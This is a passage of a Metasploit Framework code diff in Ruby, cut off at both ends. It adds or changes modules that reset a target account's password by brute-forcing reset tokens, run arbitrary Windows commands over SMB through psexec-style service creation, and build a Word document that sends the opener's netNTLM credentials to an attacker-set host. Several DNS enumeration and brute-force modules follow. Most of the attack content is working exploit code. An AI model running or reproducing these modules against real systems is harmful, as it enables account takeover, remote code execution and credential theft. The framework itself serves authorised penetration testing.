true, 'The request URI', '/users/password']), + OptString.new('TARGETEMAIL', [true, 'The email address of target account']), + OptString.new('PASSWORD', [true, 'The password to set']), + OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), + OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10]) + ], self.class) + end + + def generate_token(account) + # CSRF token from GET "/users/password/new" isn't actually validated it seems. + + postdata="user[email]=#{account}" + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'POST', + 'data' => postdata, + }) + + unless res + print_error("No response from server") + return false + end + + if res.code == 200 + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + print_error("Server returned error") + vprint_error(error_text) + return false + end + + return true + end + + def clear_tokens() + count = 0 + status = true + until (status == false) do + status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5)) + count += 1 if status + end + vprint_status("Cleared #{count} tokens") + end + + def reset_one(password, report=false) + + (0..datastore['MAXINT']).each{ |int_to_try| + encode_pass = REXML::Text.new(password).to_s + + xml = "" + xml << "" + xml << "#{encode_pass}" + xml << "#{encode_pass}" + xml << "#{int_to_try}" + xml << "" + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'PUT', + 'ctype' => 'application/xml', + 'data' => xml, + }) + + unless res + print_error("No response from server") + return false + end + + case res.code + when 200 + # Failure, grab the error text + # May need to tweak this for some apps... + error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] + if (report) && (error_text !~ /token/) + print_error("Server returned error") + vprint_error(error_text) + return false + end + when 302 + #Success! + return true + else + print_error("ERROR: received code #{res.code}") + return false + end + } + + print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report + return false + + end + + def run + # Clear outstanding reset tokens, helps ensure we hit the intended account. + print_status("Clearing existing tokens...") + clear_tokens() if datastore['FLUSHTOKENS'] + + # Generate a token for our account + print_status("Generating reset token for #{datastore['TARGETEMAIL']}...") + status = generate_token(datastore['TARGETEMAIL']) + if status == false + print_error("Failed to generate reset token") + return + end + print_good("Reset token generated successfully") + + # Reset a password. We're racing users creating other reset tokens. + # If we didn't flush, we'll reset the account with the lowest ID that has a token. + print_status("Resetting password to \"#{datastore['PASSWORD']}\"...") + status = reset_one(datastore['PASSWORD'], true) + status ? print_good("Password reset worked successfully") : print_error("Failed to reset password") + end +end \ No newline at end of file diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 25af468599a9..465e0ed78a07 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -96,7 +96,9 @@ def run juhash = Digest::MD5.hexdigest(juarray) juhash = juhash[0..9] # shortMD5 value for use as juhash - file_uri = "#{uri}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" + uri_base_path = normalize_uri(uri, '/index.php') + + file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" vprint_status("Checking Encryption Key [#{i}/1000]: #{final}") begin diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 1bc21c97c359..54be82308fb8 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -4,12 +4,10 @@ class Metasploit3 < Msf::Auxiliary - # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::DCERPC # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -58,213 +56,72 @@ def peer # This is the main controle method def run_host(ip) text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" - bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" - smbshare = datastore['SMBSHARE'] + bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" + @smbshare = datastore['SMBSHARE'] + @ip = ip - #Try and authenticate with given credentials + # Try and authenticate with given credentials if connect begin smb_login - rescue StandardError => autherror + rescue Rex::Proto::SMB::Exceptions::Error => autherror print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") return end - if execute_command(ip, text, bat) - get_output(smbshare, ip, text) + if execute_command(text, bat) + get_output(text) end - cleanup_after(smbshare, ip, text, bat) + cleanup_after(text, bat) disconnect end end # Executes specified Windows Command - def execute_command(ip, text, bat) + def execute_command(text, bat) + # Try and execute the provided command + execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" + print_status("#{peer} - Executing the command...") begin - #Try and execute the provided command - execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" - print_status("#{peer} - Executing the command...") return psexec(execute) - rescue StandardError => exec_command_error + rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") return false end end # Retrive output from command - def get_output(smbshare, ip, file) - begin - print_status("#{peer} - Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - if output.empty? - print_status("#{peer} - Command finished with no output") - return - end - print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}") - return - rescue StandardError => output_error - print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.") + def get_output(file) + print_status("#{peer} - Getting the command output...") + output = smb_read_file(@smbshare, @ip, file) + if output.nil? + print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.") return end - end - - # This is the cleanup method, removes .txt and .bat file/s created during execution- - def cleanup_after(smbshare, ip, text, bat) - begin - # Try and do cleanup command - cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" - print_status("#{peer} - Executing cleanup...") - psexec(cleanup) - if !check_cleanup(smbshare, ip, text) - print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.") - else - print_status("#{peer} - Cleanup was successful") - end - rescue StandardError => cleanuperror - print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") - print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target") - return cleanuperror - end - end - - def check_cleanup(smbshare, ip, text) - simple.connect("\\\\#{ip}\\#{smbshare}") - begin - if checktext = simple.open(text, 'ro') - check = false - else - check = true - end - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return check - rescue StandardError => check_error - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return true + if output.empty? + print_status("#{peer} - Command finished with no output") + return end + print_good("#{peer} - Command completed successfuly! Output:") + print_line("#{output}") end - # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!! - # Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater - def psexec(command) - - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + # Removes files created during execution. + def cleanup_after(*files) + simple.connect("\\\\#{@ip}\\#{@smbshare}") + print_status("#{peer} - Executing cleanup...") + files.each do |file| + begin + smb_file_rm(file) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror + print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") + left = files.collect{ |f| smb_file_exist?(f) } + if left.any? + print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + else + print_status("#{peer} - Cleanup was successful") end - - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true end end diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 231b4fa36077..695443c52805 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -47,8 +47,8 @@ def initialize(info = {}) def run print_status("Establishing a connection to the target...") - uri = normalize_uri(datastore['URI']) - rpath = uri + "/tiki-lastchanges.php?days=1&offset=0&sort_mode=" + uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php') + rpath = uri + "?days=1&offset=0&sort_mode=" res = send_request_raw({ 'uri' => rpath, diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb new file mode 100644 index 000000000000..926af2a6d39a --- /dev/null +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -0,0 +1,189 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://Metasploit.com/projects/Framework/ +## + +require 'msf/core' +require 'zip/zip' #for extracting files +require 'rex/zip' #for creating files + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Word UNC Path Injector', + 'Description' => %q{ + This module modifies a .docx file that will, upon opening, submit stored + netNTLM credentials to a remote host. It can also create an empty docx file. If + emailed the receiver needs to put the document in editing mode before the remote + server will be contacted. Preview and read-only mode do not work. Verified to work + with Microsoft Word 2003, 2007 and 2010 as of January 2013. In order to get the + hashes the auxiliary/server/capture/smb module can be used. + }, + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://jedicorp.com/?p=534' ] + ], + 'Author' => + [ + 'SphaZ ' + ] + )) + + register_options( + [ + OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']), + OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']), + OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']), + OptString.new('DOCAUTHOR',[false,'Document author for empty document.']), + ], self.class) + end + + #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty + def make_new_file + metadata_file_data = "" + metadata_file_data << "" + metadata_file_data << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" + metadata_file_data << "1" + metadata_file_data << "2013-01-08T14:14:00Z" + metadata_file_data << "2013-01-08T14:14:00Z" + + #where to find the skeleton files required for creating an empty document + data_dir = File.join(Msf::Config.install_root, "data", "exploits", "docx") + + zip_data = {} + + #add skeleton files + vprint_status("Adding skeleton files from #{data_dir}") + Dir["#{data_dir}/**/**"].each do |file| + if not File.directory?(file) + zip_data[file.sub(data_dir,'')] = File.read(file) + end + end + + #add on-the-fly created documents + vprint_status("Adding injected files") + zip_data["docProps/core.xml"] = metadata_file_data + zip_data["word/_rels/settings.xml.rels"] = @rels_file_data + + #add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + zip_data[file.sub(data_dir,'')] = File.read(file) + #and lets create the file + zip_docx(zip_data) + end + + #here we inject an UNC path into an existing file, and store the injected file in FILENAME + def manipulate_file + ref = "" + + if not File.stat(datastore['SOURCE']).readable? + print_error("Not enough rights to read the file. Aborting.") + return nil + end + + #lets extract our docx and store it in memory + zip_data = unzip_docx + + #file to check for reference file we need + file_content = zip_data["word/settings.xml"] + if file_content.nil? + print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.") + return nil + end + + #if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. + if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil? + vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") + zip_data["word/_rels/settings.xml.rels"] = @rels_file_data + # lets zip the end result + zip_docx(zip_data) + else + #now insert the reference to the file that will enable our malicious entry + insert_one = file_content.index(" e + print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") + return nil + end + return zip_data + end + + + def run + #we need this in make_new_file and manipulate_file + @rels_file_data = "" + @rels_file_data << "".chomp + @rels_file_data << "".chomp + @rels_file_data << "" + + if "#{datastore['SOURCE']}" == "" + #make an empty file + print_status("Creating empty document that points to #{datastore['LHOST']}.") + make_new_file + else + #extract the word/settings.xml and edit in the reference we need + print_status("Injecting UNC path into existing document.") + if manipulate_file.nil? + print_error("Failed to create a document from #{datastore['SOURCE']}.") + else + print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") + end + end + end +end diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index ee80b7a6242f..f886d688b6aa 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -39,7 +39,7 @@ def initialize(info = {}) def run begin o = { - 'uri' => normalize_uri(datastore['URI']) || '/', + 'uri' => normalize_uri(datastore['URI']), 'headers' => { 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 } diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb new file mode 100644 index 000000000000..74ca1672ecdc --- /dev/null +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -0,0 +1,134 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Brutefoce Enumeration', + 'Description' => %q{ + This module uses a dictionary to perform a bruteforce attack to enumerate + hostnames and subdomains available under a given domain. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system DNS" ]), + OptPath.new('WORDLIST', [ true, "Wordlist file for domain name brute force.", + File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "Number of threads", 1]) + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i unless datastore['RETRY'].nil? + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i unless datastore['RETRY_INTERVAL'].nil? + wildcard(datastore['DOMAIN']) + switchdns() unless datastore['NS'].nil? + dnsbrt(datastore['DOMAIN']) + end + + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has wild-cards enabled!!") + query.answer.each do |rr| + print_warning("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + end + return true + else + return false + end + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + + def switchdns() + print_status("Using DNS server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end + + def dnsbrt(domain) + print_status("Performing bruteforce against #{domain}") + queue = [] + File.open(datastore['WORDLIST'], 'rb').each_line do |testd| + queue << testd.strip + end + while(not queue.empty?) + tl = [] + 1.upto(datastore['THREADS']) do + tl << framework.threads.spawn("Module(#{self.refname})-#{domain}", false, queue.shift) do |testf| + Thread.current.kill if not testf + vprint_status("Testing #{testf}.#{domain}") + get_ip("#{testf}.#{domain}").each do |i| + print_good("Host #{i[:host]} with address #{i[:address]} found") + report_host( + :host => i[:address].to_s, + :name => i[:host].gsub(/\.$/,'') + ) + end + end + end + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end +end + diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb new file mode 100644 index 000000000000..21c84de8ae98 --- /dev/null +++ b/modules/auxiliary/gather/dns_info.rb @@ -0,0 +1,231 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Basic Information Enumeration', + 'Description' => %q{ + This module enumerates basic DNS information for a given domain. The module + gets information regarding to A (addresses), AAAA (IPv6 addresses), NS (name + servers), SOA (start of authority) and MX (mail servers) records for a given + domain. In addition, this module retrieves information stored in TXT records. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system configured DNS Server is used." ]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + ], self.class) + end + + def run + print_status("Enumerating #{datastore['DOMAIN']}") + @res = Net::DNS::Resolver.new() + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + wildcard(datastore['DOMAIN']) + switchdns() unless datastore['NS'].nil? or datastore['NS'].empty? + + get_ip(datastore['DOMAIN']).each do |r| + print_good("#{r[:host]} - Address #{r[:address]} found. Record type: #{r[:type]}") + report_host(:host => r[:address]) + end + + get_ns(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - Name server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "dns", + :port => 53, + :proto => "udp" + ) + end + + get_soa(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + end + + get_mx(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - Mail server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") + report_host(:host => r[:address], :name => r[:host]) + report_service( + :host => r[:address], + :name => "smtp", + :port => 25, + :proto => "tcp" + ) + end + + get_txt(datastore['DOMAIN']).each do |r| + print_good("#{datastore['DOMAIN']} - Text info found: #{r[:text]}. Record type: #{r[:type]}") + report_note( + :host => datastore['DOMAIN'], + :proto => 'udp', + :port => 53, + :type => 'dns.info', + :data => {:text => r[:text]} + ) + end + end + + def wildcard(target) + rendsub = rand(10000).to_s + query = @res.query("#{rendsub}.#{target}", "A") + if query.answer.length != 0 + print_status("This Domain has Wild-cards Enabled!!") + query.answer.each do |rr| + print_status("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME + report_note( + :host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.wildcard', + :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}" + ) + end + return true + else + return false + end + end + + def get_ip(host) + results = [] + query = @res.search(host, "A") + if query + query.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "A" + record[:address] = rr.address.to_s + results << record + end + end + query1 = @res.search(host, "AAAA") + if query1 + query1.answer.each do |rr| + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + return results + end + + def get_ns(target) + results = [] + query = @res.query(target, "NS") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + return results + end + + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def get_txt(target) + results = [] + query = @res.query(target, "TXT") + return results if not query + query.answer.each do |rr| + record = {} + record[:host] = target + record[:text] = rr.txt + record[:type] = "TXT" + results << record + end + return results + end + + def get_mx(target) + results = [] + query = @res.query(target, "MX") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| + if Rex::Socket.dotted_ip?(rr.exchange) + record = {} + record[:host] = rr.exchange + record[:type] = "MX" + record[:address] = rr.exchange + results << record + else + get_ip(rr.exchange).each do |ip| + record = {} + record[:host] = rr.exchange.gsub(/\.$/,'') + record[:type] = "MX" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def switchdns() + print_status("Using DNS server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end + diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb new file mode 100644 index 000000000000..80ae0a844f9c --- /dev/null +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -0,0 +1,98 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Reverse Lookup Enumeration', + 'Description' => %q{ + This module performs DNS reverse lookup against a given IP range in order to + retrieve valid addresses and names. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.']), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]) + ], self.class) + end + + def run + @res = Net::DNS::Resolver.new() + + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + @threadnum = datastore['THREADS'].to_i + switchdns() unless datastore['NS'].nil? + reverselkp(datastore['RANGE']) + end + + def reverselkp(iprange) + print_status("Running reverse lookup against IP range #{iprange}") + ar = Rex::Socket::RangeWalker.new(iprange) + tl = [] + while (true) + # Spawn threads for each host + while (tl.length <= @threadnum) + ip = ar.next_ip + break if not ip + tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| + begin + query = @res.query(tip) + query.each_ptr do |addresstp| + print_status("Host Name: #{addresstp}, IP Address: #{tip.to_s}") + report_host( + :host => tip.to_s, + :name => addresstp + ) + end + rescue ::Interrupt + raise $! + rescue ::Rex::ConnectionError + rescue ::Exception => e + print_error("Error: #{tip}: #{e.message}") + end + end + end + # Exit once we run out of hosts + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end + + def switchdns() + print_status("Using DNS server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end + diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb new file mode 100644 index 000000000000..aeb3eef1c5c1 --- /dev/null +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -0,0 +1,227 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Common Service Record Enumeration', + 'Description' => %q{ + This module enumerates common DNS service records in a given domain. By setting + the ALL_DNS to true, all the name servers of a given domain are used for + enumeration. Otherwise only the system dns is used for enumration. in order to get + all the available name servers for the given domain the SOA and NS records are + queried. In order to convert from domain names to IP addresses queries for A and + AAAA (IPv6) records are used. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name."]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) + ], self.class) + end + + def run + records = [] + @res = Net::DNS::Resolver.new() + if datastore['RETRY'] + @res.retry = datastore['RETRY'].to_i + end + + if datastore['RETRY_INTERVAL'] + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + end + + print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") + records = records + srvqry(datastore['DOMAIN']) + if datastore["ALL_NS"] + get_soa(datastore['DOMAIN']).each do |s| + switchdns(s[:address]) + records = records + srvqry(datastore['DOMAIN']) + end + get_ns(datastore['DOMAIN']).each do |ns| + switchdns(ns[:address]) + records =records + srvqry(datastore['DOMAIN']) + end + end + records.uniq! + records.each do |r| + print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) + report_service( + :host=> r[:address].to_s, + :port => r[:port].to_i, + :proto => r[:proto], + :name => r[:service], + :host_name => r[:host] + ) + end + + end + + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if 